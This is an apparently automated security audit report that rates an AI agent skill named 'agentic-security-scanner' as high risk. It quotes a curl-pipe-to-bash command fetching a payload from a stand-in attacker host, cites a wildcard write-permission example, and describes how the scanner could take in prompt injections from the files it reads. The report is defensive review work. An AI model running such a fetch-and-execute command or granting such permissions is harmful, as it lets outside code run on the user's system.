agentic-security-scanner
Fail
Audited by Gen Agent Trust Hub on Sep 17, 2026
Risk Level: HIGHREMOTE_CODE_EXECUTIONPRIVILEGE_ESCALATIONINDIRECT_PROMPT_INJECTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The file
evals/cases.mdcontains a markdown code block demonstrating a remote code execution pattern:curl -s https://evil.example.com/payload | bash. Although provided as a test case for the scanner, this represents a confirmed detection of a high-severity execution pattern. - [PRIVILEGE_ESCALATION]: The evaluation documentation
evals/cases.mdincludes examples of excessive permissions, specifically wildcard file write access (write: ["*"]), which is a privilege escalation risk pattern used to validate the scanner's detection logic. - [INDIRECT_PROMPT_INJECTION]: The scanner script
scripts/scan_skill.pyprovides a surface for indirect prompt injection because it ingests untrusted data from other skills. - Ingestion points: The script recursively reads all files in a target directory (
--skill-dir) to perform static analysis. - Boundary markers: The script does not utilize delimiters or specific instructions to the agent to ignore embedded instructions within the data it scans.
- Capability inventory: The script has the ability to write analysis results to the filesystem via the
--outputparameter. - Sanitization: The script performs regex-based pattern matching on raw file content without specific sanitization or escaping of the ingested data.
Recommendations
- AI detected serious security threats
Audit Metadata